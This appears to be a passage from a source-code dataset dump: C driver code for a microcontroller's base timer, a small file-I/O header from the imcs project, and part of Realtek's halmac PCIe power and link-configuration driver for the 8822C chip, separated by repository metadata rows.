** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_Stop(en_bt_unit_t enUnit)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->M23CR_f.CTEN = FALSE;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 重载值设置(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] u16Data 16bits重载值
** \param [in] bArrBufEn ARR重载缓存使能TRUE/禁止FALSE
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_ARRSet(en_bt_unit_t enUnit, uint16_t u16Data, boolean_t bArrBufEn)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->ARR_f.ARR = u16Data;
pstcM0PBt->M23CR_f.BUFPEN = bArrBufEn;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 16位计数器初值设置(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] u16Data 16位初值
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_Cnt16Set(en_bt_unit_t enUnit, uint16_t u16Data)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->CNT_f.CNT = u16Data;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 16位计数值获取(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval 16bits计数值
*****************************************************************************/
uint16_t Bt_M23_Cnt16Get(en_bt_unit_t enUnit)
{
uint16_t u16CntData = 0;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
u16CntData = pstcM0PBt->CNT_f.CNT;
return u16CntData;
}
/**
*****************************************************************************
** \brief Base Timer 比较捕获寄存器CCR0A/CCR0B设置(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] enCCRSel CCR0A/CCR0B设定
** \param [in] u16Data CCR0A/CCR0B 16位初始值
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_CCR_Set(en_bt_unit_t enUnit, en_bt_m23_ccrx_t enCCRSel, uint16_t u16Data)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
if(BtCCR0A == enCCRSel)
{
pstcM0PBt->CCR0A_f.CCR0A = u16Data;
}
else if(BtCCR0B == enCCRSel)
{
pstcM0PBt->CCR0B_f.CCR0B = u16Data;
}
else
{
enResult = Error;
}
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 比较捕获寄存器CCR0A/CCR0B读取(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] enCCRSel CCR0A/CCR0B设定
**
** \retval 16bitsCCR0A捕获值
*****************************************************************************/
uint16_t Bt_M23_CCR_Get(en_bt_unit_t enUnit, en_bt_m23_ccrx_t enCCRSel)
{
uint16_t u16Data = 0;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
if(BtCCR0A == enCCRSel)
{
u16Data = pstcM0PBt->CCR0A_f.CCR0A;
}
else if(BtCCR0B == enCCRSel)
{
u16Data = pstcM0PBt->CCR0B_f.CCR0B;
}
else
{
u16Data = 0;
}
return u16Data;
}
/**
*****************************************************************************
** \brief Base Timer PWM互补输出模式下,GATE功能选择(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] pstcConfig 初始化配置结构体指针
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_GateFuncSel(en_bt_unit_t enUnit,stc_bt_m23_gate_config_t* pstcConfig)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->M23CR_f.CSG = pstcConfig->enGateFuncSel;
pstcM0PBt->M23CR_f.CRG = pstcConfig->bGateRiseCap;
pstcM0PBt->M23CR_f.CFG = pstcConfig->bGateFallCap;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 主从模式配置(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] pstcConfig 初始化配置结构体指针
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_MasterSlave_Set(en_bt_unit_t enUnit, stc_bt_m23_master_slave_config_t* pstcConfig)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->MSCR_f.MSM = pstcConfig->enMasterSlaveSel;
pstcM0PBt->MSCR_f.MMS = pstcConfig->enMasterSrc;
pstcM0PBt->MSCR_f.SMS = pstcConfig->enSlaveModeSel;
pstcM0PBt->MSCR_f.TS = pstcConfig->enTsSel;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer CH0A/CH0B比较通道输出控制(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] pstcConfig 初始化配置结构体指针
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_PortOutput_Config(en_bt_unit_t enUnit, stc_bt_m23_compare_config_t* pstcConfig)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->CRCH0_f.CSA = 0;
pstcM0PBt->FLTR_f.OCMA0_FLTA0 = pstcConfig->enCH0ACmpCtrl;
pstcM0PBt->FLTR_f.CCPA0 = pstcConfig->enCH0APolarity;
pstcM0PBt->CRCH0_f.BUFEA = pstcConfig->bCh0ACmpBufEn;
pstcM0PBt->M23CR_f.CIS = pstcConfig->enCh0ACmpIntSel;
pstcM0PBt->CRCH0_f.CSB = 0;
pstcM0PBt->FLTR_f.OCMB0_FLTB0 = pstcConfig->enCH0BCmpCtrl;
pstcM0PBt->FLTR_f.CCPB0 = pstcConfig->enCH0BPolarity;
pstcM0PBt->CRCH0_f.BUFEB = pstcConfig->bCH0BCmpBufEn;
pstcM0PBt->CRCH0_f.CISB = pstcConfig->enCH0BCmpIntSel;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer CH0A/CH0B输入控制(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] pstcConfig 初始化配置结构体指针
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_PortInput_Config(en_bt_unit_t enUnit, stc_bt_m23_input_config_t* pstcConfig)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->CRCH0_f.CSA = 1;
pstcM0PBt->CRCH0_f.CFA_CRA_BKSA = pstcConfig->enCH0ACapSel;
pstcM0PBt->FLTR_f.OCMA0_FLTA0 = pstcConfig->enCH0AInFlt;
pstcM0PBt->FLTR_f.CCPA0 = pstcConfig->enCH0APolarity;
pstcM0PBt->CRCH0_f.CSB = 1;
pstcM0PBt->CRCH0_f.CFB_CRB_BKSB = pstcConfig->enCH0BCapSel;
pstcM0PBt->FLTR_f.OCMB0_FLTB0 = pstcConfig->enCH0BInFlt;
pstcM0PBt->FLTR_f.CCPB0 = pstcConfig->enCH0BPolarity;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer ERT输入控制(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] pstcConfig 初始化配置结构体指针
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_ETRInput_Config(en_bt_unit_t enUnit, stc_bt_m23_etr_input_config_t* pstcConfig)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->FLTR_f.ETP = pstcConfig->enETRPolarity;
pstcM0PBt->FLTR_f.FLTET = pstcConfig->enETRFlt;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 刹车BK输入控制(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] pstcConfig 初始化配置结构体指针
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_BrakeInput_Config(en_bt_unit_t enUnit, stc_bt_m23_bk_input_config_t* pstcConfig)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->DTR_f.BKE = pstcConfig->bEnBrake;
pstcM0PBt->DTR_f.VC0E = pstcConfig->bEnVC0Brake;
pstcM0PBt->DTR_f.VC1E = pstcConfig->bEnVC1Brake;
pstcM0PBt->DTR_f.SAFEEN = pstcConfig->bEnSafetyBk;
pstcM0PBt->DTR_f.BKSEL = pstcConfig->bEnBKSync;
pstcM0PBt->CRCH0_f.CFA_CRA_BKSA = pstcConfig->enBkCH0AStat;
pstcM0PBt->CRCH0_f.CFB_CRB_BKSB = pstcConfig->enBkCH0BStat;
pstcM0PBt->FLTR_f.BKP = pstcConfig->enBrakePolarity;
pstcM0PBt->FLTR_f.FLTBK = pstcConfig->enBrakeFlt;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 触发ADC控制(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] pstcConfig 初始化配置结构体指针
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_TrigADC_Config(en_bt_unit_t enUnit, stc_bt_m23_adc_trig_config_t* pstcConfig)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->ADTR_f.ADTE = pstcConfig->bEnTrigADC;
pstcM0PBt->ADTR_f.UEVE = pstcConfig->bEnUevTrigADC;
pstcM0PBt->ADTR_f.CMA0E = pstcConfig->bEnCH0ACmpTrigADC;
pstcM0PBt->ADTR_f.CMB0E = pstcConfig->bEnCH0BCmpTrigADC;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 死区功能(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] pstcConfig 初始化配置结构体指针
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_DT_Config(en_bt_unit_t enUnit, stc_bt_m23_dt_config_t* pstcConfig)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->DTR_f.DTEN = pstcConfig->bEnDeadTime;
pstcM0PBt->DTR_f.DTR = pstcConfig->u8DeadTimeValue;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 重复周期设置(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] u8ValidPeriod 重复周期值
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_SetValidPeriod(en_bt_unit_t enUnit, uint8_t u8ValidPeriod)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->RCR_f.RCR = u8ValidPeriod;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer OCREF清除功能(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] pstcConfig 初始化配置结构体指针
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_OCRefClr(en_bt_unit_t enUnit, stc_bt_m23_OCREF_Clr_config_t* pstcConfig)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->M23CR_f.OCCS = pstcConfig->enOCRefClrSrcSel;
pstcM0PBt->M23CR_f.OCCE = pstcConfig->bVCClrEn;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 使能DMA传输(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
** \param [in] pstcConfig 初始化配置结构体指针
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_EnDMA(en_bt_unit_t enUnit, stc_bt_m23_trig_dma_config_t* pstcConfig)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->M23CR_f.UDE = pstcConfig->bUevTrigDMA;
pstcM0PBt->M23CR_f.TDE = pstcConfig->bTITrigDMA;
pstcM0PBt->CRCH0_f.CDEA = pstcConfig->bCmpATrigDMA;
pstcM0PBt->CRCH0_f.CDEB = pstcConfig->bCmpBTrigDMA;
pstcM0PBt->MSCR_f.CCDS = pstcConfig->enCmpUevTrigDMA;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 捕获比较A软件触发(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_EnSwTrigCapCmpA(en_bt_unit_t enUnit)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->CRCH0_f.CCGA = TRUE;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 捕获比较B软件触发(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_EnSwTrigCapCmpB(en_bt_unit_t enUnit)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->CRCH0_f.CCGB = TRUE;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 软件更新使能(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_EnSwUev(en_bt_unit_t enUnit)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->M23CR_f.UG = TRUE;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 软件触发使能(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_EnSwTrig(en_bt_unit_t enUnit)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->M23CR_f.TG = TRUE;
return enResult;
}
/**
*****************************************************************************
** \brief Base Timer 软件刹车使能(模式23)
**
**
** \param [in] enUnit Timer通道选择(TIM0、TIM1、TIM2)
**
** \retval Ok or Error
*****************************************************************************/
en_result_t Bt_M23_EnSwBk(en_bt_unit_t enUnit)
{
en_result_t enResult = Ok;
volatile M0P_TIM0_MODE23_TypeDef *pstcM0PBt = (M0P_TIM0_MODE23_TypeDef *)((uint32_t)M0P_TIM0_MODE23+0x100*enUnit);
ASSERT(IS_VALID_TIM(enUnit));
pstcM0PBt->M23CR_f.BG = TRUE;
return enResult;
}
//@} // BtGroup
/*******************************************************************************
* EOF (not truncated)
******************************************************************************/
|
d9248dad3ce016a466301c8c7c493825dd3d9bba
|
8f469c0de4b5c9fe23c17944af50943135719586
|
/fileio.h
|
9a42fdeb1e0578efcf054b6c588ae1a2dacf9398
|
[
"Apache-2.0"
] |
permissive
|
knizhnik/imcs
|
e6d4c1305b0031d370a8e3b81f6083b143fdae5a
|
5263ecbb2b751a3df09f3304238faee7c45bb934
|
refs/heads/master
| 2023-06-25T17:24:38.198483
| 2023-06-16T04:36:28
| 2023-06-16T04:36:28
| 15,144,983
| 151
| 35
|
Apache-2.0
| 2023-06-16T04:36:29
| 2013-12-12T19:14:29
|
C
|
UTF-8
|
C
| false
| false
| 526
|
h
|
fileio.h
|
#ifndef __FILEIO_H__
#define __FILEIO_H__
#include <stddef.h>
#include <stdlib.h>
/**
* File IO: access to file system
* I can not use PostgreSQL fd.h, because I need reentrant read/write
*/
#ifdef _WIN32
typedef void* imcs_file_h;
#else
typedef int imcs_file_h;
#endif
imcs_file_h imcs_file_open(char const* path);
bool imcs_file_read(imcs_file_h file, void* buf, size_t size, off_t pos);
void imcs_file_write(imcs_file_h file, void const* buf, size_t size, off_t pos);
void imcs_file_close(imcs_file_h file);
#endif
|
e55305d2c0892b33fe3ce2bef9df506c959bb3e3
|
8d9c1d74bc6ff793e176e098055afab65d408841
|
/hal/halmac/halmac_88xx/halmac_8822c/halmac_pcie_8822c.c
|
6f05486d26a0dbe74d13ca67f14d0170f1f1dfa5
|
[] |
no_license
|
juanro49/rtl88x2ce-dkms
|
1c3a0f94a5bdb7b784ca53676b7bb026485aebbd
|
21bb37c67e19a20d8f969ce6b76eec39651586f0
|
refs/heads/master
| 2023-03-03T01:01:14.589511
| 2023-02-22T19:35:39
| 2023-02-22T19:35:39
| 254,158,624
| 101
| 28
| null | 2022-04-24T12:52:16
| 2020-04-08T17:41:02
|
C
|
UTF-8
|
C
| false
| false
| 21,141
|
c
|
halmac_pcie_8822c.c
|
/******************************************************************************
*
* Copyright(c) 2017 - 2018 Realtek Corporation. All rights reserved.
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of version 2 of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
******************************************************************************/
#include "halmac_pcie_8822c.h"
#include "halmac_pwr_seq_8822c.h"
#include "../halmac_init_88xx.h"
#include "../halmac_common_88xx.h"
#include "../halmac_pcie_88xx.h"
#include "../halmac_88xx_cfg.h"
#if (HALMAC_8822C_SUPPORT && HALMAC_PCIE_SUPPORT)
/**
* mac_pwr_switch_pcie_8822c() - switch mac power
* @adapter : the adapter of halmac
* @pwr : power state
* Author : KaiYuan Chang
* Return : enum halmac_ret_status
* More details of status code can be found in prototype document
*/
#define INTF_INTGRA_MINREF_V1 90
#define INTF_INTGRA_HOSTREF_V1 100
static struct halmac_pcie_cfgspc_param pcie_cfgspc_param_def = {
0,
0,
HALMAC_DISABLE,
HALMAC_ENABLE,
HALMAC_ENABLE,
HALMAC_ENABLE,
HALMAC_IGNORE,
HALMAC_CLKDLY_0,
HALMAC_L0SDLY_7US,
HALMAC_L1DLY_16US,
};
enum pcie_clkdly_hw {
PCIE_CLKDLY_HW_0 = 0,
PCIE_CLKDLY_HW_30US = 0x1,
PCIE_CLKDLY_HW_50US = 0x2,
PCIE_CLKDLY_HW_100US = 0x3,
PCIE_CLKDLY_HW_150US = 0x4,
PCIE_CLKDLY_HW_200US = 0x5
};
enum pcie_l1dly_hw {
PCIE_L1DLY_HW_16US = 4,
PCIE_L1DLY_HW_32US = 5,
PCIE_L1DLY_HW_64US = 6,
PCIE_L1DLY_HW_INFI = 7
};
enum pcie_l0sdly_hw {
PCIE_L0SDLY_HW_1US = 0,
PCIE_L0SDLY_HW_3US = 2,
PCIE_L0SDLY_HW_5US = 4,
PCIE_L0SDLY_HW_7US = 6
};
#define GET_PCIE_FUNC_STUS(val, mask) \
((val & mask) ? HALMAC_ENABLE : HALMAC_DISABLE)
static u16
get_target(struct halmac_adapter *adapter);
static enum halmac_ret_status
pcie_cfgspc_write_8822c(struct halmac_adapter *adapter,
struct halmac_pcie_cfgspc_param *param);
static enum halmac_ret_status
pcie_cfgspc_read_8822c(struct halmac_adapter *adapter,
struct halmac_pcie_cfgspc_param *param);
static void
update_pcie_func_8822c(u8 *val, u8 bitmask, enum halmac_func_ctrl ctrl,
enum halmac_func_ctrl def_ctrl);
static u8
chk_stus_l1ss_8822c(struct halmac_adapter *adapter);
static enum halmac_ret_status
update_clkdly_8822c(struct halmac_adapter *adapter, u8 *val,
enum halmac_pcie_clkdly ctrl,
enum halmac_pcie_clkdly def_ctrl);
static enum halmac_ret_status
update_pcie_clk_8822c(struct halmac_adapter *adapter, u8 *val);
static enum halmac_ret_status
update_aspmdly_8822c(struct halmac_adapter *adapter, u8 *val,
struct halmac_pcie_cfgspc_param *param,
struct halmac_pcie_cfgspc_param *param_def);
enum halmac_ret_status
mac_pwr_switch_pcie_8822c(struct halmac_adapter *adapter,
enum halmac_mac_power pwr)
{
u8 value8;
u8 rpwm;
struct halmac_api *api = (struct halmac_api *)adapter->halmac_api;
PLTFM_MSG_TRACE("[TRACE]%s ===>\n", __func__);
PLTFM_MSG_TRACE("[TRACE]pwr = %x\n", pwr);
PLTFM_MSG_TRACE("[TRACE]8822C pwr seq ver = %s\n",
HALMAC_8822C_PWR_SEQ_VER);
adapter->rpwm = HALMAC_REG_R8(REG_PCIE_HRPWM1_V1);
/* Check FW still exist or not */
if (HALMAC_REG_R16(REG_MCUFW_CTRL) == 0xC078) {
/* Leave 32K */
rpwm = (u8)((adapter->rpwm ^ BIT(7)) & 0x80);
HALMAC_REG_W8(REG_PCIE_HRPWM1_V1, rpwm);
}
value8 = HALMAC_REG_R8(REG_CR);
if (value8 == 0xEA)
adapter->halmac_state.mac_pwr = HALMAC_MAC_POWER_OFF;
else
adapter->halmac_state.mac_pwr = HALMAC_MAC_POWER_ON;
/* Check if power switch is needed */
if (pwr == HALMAC_MAC_POWER_ON &&
adapter->halmac_state.mac_pwr == HALMAC_MAC_POWER_ON) {
PLTFM_MSG_WARN("[WARN]power state unchange!!\n");
return HALMAC_RET_PWR_UNCHANGE;
}
if (pwr == HALMAC_MAC_POWER_OFF) {
if (pwr_seq_parser_88xx(adapter, card_dis_flow_8822c) !=
HALMAC_RET_SUCCESS) {
PLTFM_MSG_ERR("[ERR]Handle power off cmd error\n");
return HALMAC_RET_POWER_OFF_FAIL;
}
adapter->halmac_state.mac_pwr = HALMAC_MAC_POWER_OFF;
adapter->halmac_state.dlfw_state = HALMAC_DLFW_NONE;
init_adapter_dynamic_param_88xx(adapter);
} else {
if (pwr_seq_parser_88xx(adapter, card_en_flow_8822c) !=
HALMAC_RET_SUCCESS) {
PLTFM_MSG_ERR("[ERR]Handle power on cmd error\n");
return HALMAC_RET_POWER_ON_FAIL;
}
adapter->halmac_state.mac_pwr = HALMAC_MAC_POWER_ON;
}
PLTFM_MSG_TRACE("[TRACE]%s <===\n", __func__);
return HALMAC_RET_SUCCESS;
}
/**
* halmac_pcie_switch_8822c() - pcie gen1/gen2 switch
* @adapter : the adapter of halmac
* @cfg : gen1/gen2 selection
* Author : KaiYuan Chang
* Return : enum halmac_ret_status
* More details of status code can be found in prototype document
*/
enum halmac_ret_status
pcie_switch_8822c(struct halmac_adapter *adapter, enum halmac_pcie_cfg cfg)
{
u8 value8;
u32 value32;
u8 speed = 0;
u32 cnt = 0;
PLTFM_MSG_TRACE("[TRACE]%s ===>\n", __func__);
if (cfg == HALMAC_PCIE_GEN1) {
value8 = dbi_r8_88xx(adapter, LINK_CTRL2_REG_OFFSET) & 0xF0;
dbi_w8_88xx(adapter, LINK_CTRL2_REG_OFFSET, value8 | BIT(0));
value32 = dbi_r32_88xx(adapter, GEN2_CTRL_OFFSET);
dbi_w32_88xx(adapter, GEN2_CTRL_OFFSET, value32 | BIT(17));
speed = dbi_r8_88xx(adapter, LINK_STATUS_REG_OFFSET) & 0x0F;
cnt = 2000;
while ((speed != PCIE_GEN1_SPEED) && (cnt != 0)) {
PLTFM_DELAY_US(50);
speed = dbi_r8_88xx(adapter, LINK_STATUS_REG_OFFSET);
speed &= 0x0F;
cnt--;
}
if (speed != PCIE_GEN1_SPEED) {
PLTFM_MSG_ERR("[ERR]Speed change to GEN1 fail !\n");
return HALMAC_RET_FAIL;
}
} else if (cfg == HALMAC_PCIE_GEN2) {
value8 = dbi_r8_88xx(adapter, LINK_CTRL2_REG_OFFSET) & 0xF0;
dbi_w8_88xx(adapter, LINK_CTRL2_REG_OFFSET, value8 | BIT(1));
value32 = dbi_r32_88xx(adapter, GEN2_CTRL_OFFSET);
dbi_w32_88xx(adapter, GEN2_CTRL_OFFSET, value32 | BIT(17));
speed = dbi_r8_88xx(adapter, LINK_STATUS_REG_OFFSET) & 0x0F;
cnt = 2000;
while ((speed != PCIE_GEN2_SPEED) && (cnt != 0)) {
PLTFM_DELAY_US(50);
speed = dbi_r8_88xx(adapter, LINK_STATUS_REG_OFFSET);
speed &= 0x0F;
cnt--;
}
if (speed != PCIE_GEN2_SPEED) {
PLTFM_MSG_ERR("[ERR]Speed change to GEN1 fail !\n");
return HALMAC_RET_FAIL;
}
} else {
PLTFM_MSG_ERR("[ERR]Error Speed !\n");
return HALMAC_RET_FAIL;
}
PLTFM_MSG_TRACE("[TRACE]%s <===\n", __func__);
return HALMAC_RET_SUCCESS;
}
/**
* phy_cfg_pcie_8822c() - phy config
* @adapter : the adapter of halmac
* Author : KaiYuan Chang
* Return : enum halmac_ret_status
* More details of status code can be found in prototype document
*/
enum halmac_ret_status
phy_cfg_pcie_8822c(struct halmac_adapter *adapter,
enum halmac_intf_phy_platform pltfm)
{
enum halmac_ret_status status = HALMAC_RET_SUCCESS;
struct halmac_api *api = (struct halmac_api *)adapter->halmac_api;
PLTFM_MSG_TRACE("[TRACE]%s ===>\n", __func__);
status = parse_intf_phy_88xx(adapter, pcie_gen1_phy_param_8822c, pltfm,
HAL_INTF_PHY_PCIE_GEN1);
if (status != HALMAC_RET_SUCCESS)
return status;
status = parse_intf_phy_88xx(adapter, pcie_gen2_phy_param_8822c, pltfm,
HAL_INTF_PHY_PCIE_GEN2);
if (status != HALMAC_RET_SUCCESS)
return status;
PLTFM_MSG_TRACE("[TRACE]%s <===\n", __func__);
return HALMAC_RET_SUCCESS;
}
/**
* intf_tun_pcie_8822c() - pcie interface fine tuning
* @adapter : the adapter of halmac
* Author : Rick Liu
* Return : enum halmac_ret_status
* More details of status code can be found in prototype document
*/
enum halmac_ret_status
intf_tun_pcie_8822c(struct halmac_adapter *adapter)
{
return HALMAC_RET_SUCCESS;
}
/**
* cfgspc_set_pcie_8822c() - pcie configuration space setting
* @adapter : the adapter of halmac
* Author : Rick Liu
* Return : enum halmac_ret_status
* More details of status code can be found in prototype document
*/
enum halmac_ret_status
cfgspc_set_pcie_8822c(struct halmac_adapter *adapter,
struct halmac_pcie_cfgspc_param *param)
{
enum halmac_ret_status status = HALMAC_RET_SUCCESS;
if (param->write == 1)
status = pcie_cfgspc_write_8822c(adapter, param);
if (param->read == 1)
status = pcie_cfgspc_read_8822c(adapter, param);
return status;
}
static enum halmac_ret_status
pcie_cfgspc_write_8822c(struct halmac_adapter *adapter,
struct halmac_pcie_cfgspc_param *param)
{
u8 l1_val;
u8 aspm_val;
u8 l1ss_val;
u8 clk_val;
struct halmac_pcie_cfgspc_param *param_def = &pcie_cfgspc_param_def;
enum halmac_ret_status status;
l1_val = dbi_r8_88xx(adapter, PCIE_L1_CTRL);
